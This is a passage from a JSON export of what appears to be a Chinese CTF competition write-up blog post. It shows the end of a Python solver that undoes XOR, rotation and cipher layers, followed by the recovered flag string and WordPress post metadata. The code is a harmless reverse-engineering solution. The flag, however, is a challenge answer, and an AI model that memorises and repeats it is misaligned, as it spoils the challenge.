XOR_VALUE] \n    meta_src.extend([b ^ XOR_VALUE for b in reversed(PROGRAM_METADATA[:-1])])\n\n    instr_set = extract_opcodes(meta_src)\n    ir_structure = parse_to_ir(instr_set)\n    vm_seed = generate_context_seed(ir_structure)\n\n    workspace = initialize_workspace()\n\n    execution_order = ((vm_seed ^ 0x4F) & 3) % 3\n    transform_layers: List[Callable[[bytearray, int], None]] = [\n        transform_layer_alpha,\n        transform_layer_beta,\n        transform_layer_gamma\n    ]\n\n    for i in range(3):\n        target_idx = (execution_order + i) % 3\n        transform_layers[target_idx](workspace, vm_seed)\n\n    session_key = derive_session_key(WORKSPACE_SIZE)\n    decrypted_block = bytearray(custom_shuffle_cipher(workspace, session_key))\n\n    for k in range(16):\n        val = decrypted_block[16 + k]\n        rotated_val = ((val << 1 | val >> 7) & FULL_BYTE_MASK)\n        decrypted_block[16 + k] = rotated_val ^ SEGMENT_KEY[k]\n\n    for xor_val, (start, end) in zip(XOR_VALUES, XOR_RANGES):\n        for n in range(start, end):\n            decrypted_block[n] ^= xor_val\n\n    return bytes(decrypted_block)\n\nif __name__ == \"__main__\":\n    final_blob = reconstruct_flag()\n    input_result = bytes(char ^ FINAL_XOR_VALUE for char in final_blob)\n\n    print(f\"Hex Stream: {input_result.hex()}\")\n    try:\n        print(f\"Decoded String: {input_result.decode('utf-8', errors='replace')}\")\n    except Exception:\n        print(\"Decoded String: [Non-UTF8 Data]\")<\/code><\/pre>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      flag{7e48a6ca-dfa2-11f0-9c22-30050575612d-8e6a408b-dfa2-11f0-8c13-30050575612d}<\/code><\/pre>\n\n\n\n
      <\/p>\n","protected":false},"excerpt":{"rendered":"
      \u524d\u8a00 \u6bd4\u4e0a\u4e00\u5468\u670d\u52a1\u5668\u574f\u4e86\u90a3\u65f6\u5019\u9898\u76ee\u8981\u96be\u70b9\uff0c\u6709\u70b9\u96be\u5ea6 Misc \u7b7e\u5230 base64\u89e3\u7801\u5c31\u884c data \u7528R-ST […]<\/p>\n","protected":false},"author":1,"featured_media":2307,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,20],"tags":[],"class_list":["post-2127","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf","category-20"],"_links":{"self":[{"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/posts\/2127","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2127"}],"version-history":[{"count":4,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/posts\/2127\/revisions"}],"predecessor-version":[{"id":2310,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/posts\/2127\/revisions\/2310"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/media\/2307"}],"wp:attachment":[{"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2127"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2127"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2127"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}